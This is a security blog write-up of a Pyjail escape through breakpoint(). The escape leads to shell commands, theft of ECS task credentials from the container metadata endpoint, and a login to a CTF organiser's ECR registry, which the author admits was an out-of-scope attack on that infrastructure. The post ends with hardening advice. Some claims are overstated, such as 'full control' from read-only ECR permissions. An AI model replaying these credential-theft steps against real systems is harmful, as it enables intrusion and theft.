From Pyjail to Full ECR Control
In this post, I will share my journey of how I went from a Pyjail sandbox to full control over an AWS ECR repository. This process involved several steps, including exploiting a misconfigured Pyjail, gaining access to the underlying ECS container, and finally obtaining full control over the ECR repository.
Note: This post is not a writeup for the challenge, it is a writeup on how I was able to achieve full control over the AWS ECR repo that belongs to the CTF itself. This is considered an attack on their infrastructure, and I am not going to share the details of the challenge itself.
Step 1: Exploiting Pyjail
The Story
It all started with a MISC CTF challenge that required us to exploit a Pyjail sandbox to access the flag, just like any other CTF challenge. However, I noticed that the Pyjail does not restrict execution of function breakpoint(), which is used to set a breakpoint in the code. Usually this function is used for debugging purposes and for the context of this challenge, it was allowed and not blacklisted. This was the first step in my journey.
here is the code for the Pyjail sandbox:
#!/usr/bin/env python3
import sys
def print_banner():
print("=== Welcome to The Jungle ===")
print("Can you beat the Python ?")
sys.stdout.flush()
def main():
import os
char_blacklist = "_./'\"[]"
keyword_blacklist = [
"import", "exec", "eval", "open",
"os", "sys", "system", "subprocess",
"__", "class", "base", "subclasses", "mro",
"read", "write", "flag", "file", "files",
"path", "paths", "directory", "directories",
"shell", "command", "commands", "cmd",
]
print_banner()
while True:
try:
print("> ", end="")
sys.stdout.flush()
user_input = input()
# --- The Security Checks ---
if any(c in user_input for c in char_blacklist):
print("Got eaten by the jungle. Invalid characters detected.")
continue
if any(kw in user_input.lower() for kw in keyword_blacklist):
print("Nope. You can't use that keyword here.")
continue
if len(user_input) > 550:
print("Keep it short, easy tiger. Input too long.")
continue
result = eval(user_input, {'__builtins__': __builtins__}, {})
print(result)
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
main()as it can be observed, the Pyjail sandbox has a character blacklist and a keyword blacklist. The character blacklist includes characters like _, ., /, ', ", [, and ]. The keyword blacklist includes common Python keywords and functions that could be used to escape the sandbox.
However, the breakpoint() function is not blacklisted, which allows us to set a breakpoint in the code and inspect the state of the program at that point. This is a common technique used in debugging and can be exploited to gain access to the underlying system.
The Exploit
To exploit the Pyjail sandbox, I used the breakpoint() function to set a breakpoint in the code, giving me access to python’s interactive debugger. This allowed me to import the os module and execute arbitrary commands on the underlying system.
import os; os.system('env')
I was able to list all the environment variables and find the ECS_CONTAINER_METADATA_URI variable, which contains the metadata of the ECS container. This metadata includes information about the container, such as its ID, name, and the task it is running.
Also I was able to list AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable, which contains the relative URI for the AWS credentials of the container. This is a crucial piece of information that can be used to gain access AWS role credentials.
first I try to curl the metadata URI, but it was not installed on the container, so I check if the container has access to the internet, and it does, so first I updated packages using apt update and then I installed curl using apt install curl -y
after that I was able to curl the metadata URI and get the container metadata, which includes the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable.
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URIthis command returns the AWS credentials of the container, which includes the AccessKeyId, SecretAccessKey, and Token. These credentials can be used to access AWS services,
in case you dont know what is AWS metadata here is a link to the AWS documentation.
Step2: AWS credentials enumeration
After I got the AWS credentials, I went to confgiure them in my local machine using the aws configure command.
and since its a role not a user, I had to set the AWS_SESSION_TOKEN environment variable to the Token value I got from the metadata.
and once I configured the AWS credentials, I ran aws sts get-caller-identity command to check if the credentials are valid and to get the account ID.
as it can be onserved from the output, the creds we have are vaild.
Since the credentials are valid, I started enumerating the AWS account to find any resources that I can exploit. I used the aws-enumerator command to list all the resources in the account.
here is a sample output of the aws-enumerator command:

as it can be seen from the dump, the AWS role has access to the ECR service, which is the Elastic Container Registry service. This service allows users to store, manage, and deploy Docker container images.
to be more specific we have here two ecr actions
ecr:DescribeRepositoriesecr:GetAuthorizationToken
these two actions are enough to gain full control over the ECR repository, as they allow us to list the repositories and get the authorization token to push and pull images from the repository.
Step 3: Gaining Full Control over ECR
After I found that the AWS role has access to the ECR service, I started exploring the ECR repositories in the account. I used the aws ecr describe-repositories command to list all the repositories in the account.
now that I have the repository name, I can use the aws ecr get-authorization-token command to get the authorization token to push and pull images from the repository.
in order to do so plus login to the ECR registry, I used the following command:
aws ecr get-login-password --region eu-west-1 | docker login --username AWS --password-stdin <registry_id>.dkr.ecr.eu-west-1.amazonaws.comthen I was able to pull the images from the repository using the docker pull command.

By that I was able to gain full control over the ECR repository, as I can now push and pull images from the repository. This means that I can upload my own images to the repository and run them on the ECS cluster.
Defense
To prevent such attacks, it is important to properly configure the Pyjail sandbox and restrict the execution of certain functions, such as breakpoint(). Additionally, it is important to properly configure the AWS roles and permissions to prevent unauthorized access to the ECR repositories.
To prevent such attack the following measures can be taken:
Use Dedicated IAM Roles Per Task — Not the Default ecsTaskExecutionRole
The ecsTaskExecutionRole is overused and often has access to ECR, logs, and sometimes even secrets.
Instead:
Create specific roles per task definition with only the permissions needed.
Use
iam:PassRoleandiam:GetRolerestrictions to ensure only intended principals can assume those roles.{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["ecr:GetDownloadUrlForLayer", "ecr:BatchGetImage"], "Resource": "arn:aws:ecr:eu-west-1:<id>:repository/reg_name/image_name" } ] }Restrict Container Metadata Access (169.254.170.2) Anyone with shell access can do:
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URITo stop this: On Fargate, use:
"runtimePlatform": { "cpuArchitecture": "X86_64", "operatingSystemFamily": "LINUX" }, "linuxParameters": { "initProcessEnabled": true }, "inferenceAccelerators": [], "containerDefinitions": [ { ... "readonlyRootFilesystem": true, "secrets": [], "environment": [] } ]AND enable the task role access control in the task definition:
"taskRoleArn": "arn:aws:iam::id:role/MinimalRole", "executionRoleArn": "arn:aws:iam::id:role/ecsExecutionRole"Restrict ECR Permissions The IAM role should not allow pulling images unless required
{ "Effect": "Deny", "Action": "ecr:*", "Resource": "*" }
Conclusion
In this post, I shared my journey of how I went from a Pyjail sandbox to full control over an AWS ECR repository. This process involved exploiting a misconfigured Pyjail, gaining access to the underlying ECS container, and finally obtaining full control over the ECR repository. and I also shared some defense measures that can be taken to prevent such attacks in the future.
SIC.PARVIS.MAGNA